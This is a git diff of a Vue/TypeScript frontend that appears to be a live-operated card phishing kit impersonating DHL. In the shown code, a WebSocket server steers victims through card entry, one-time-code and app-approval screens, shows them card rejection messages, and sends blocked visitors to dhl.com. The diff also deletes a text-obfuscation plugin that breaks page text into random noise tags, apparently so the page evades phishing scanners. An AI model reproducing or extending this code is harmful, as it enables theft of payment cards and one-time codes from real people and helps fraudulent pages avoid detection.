||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
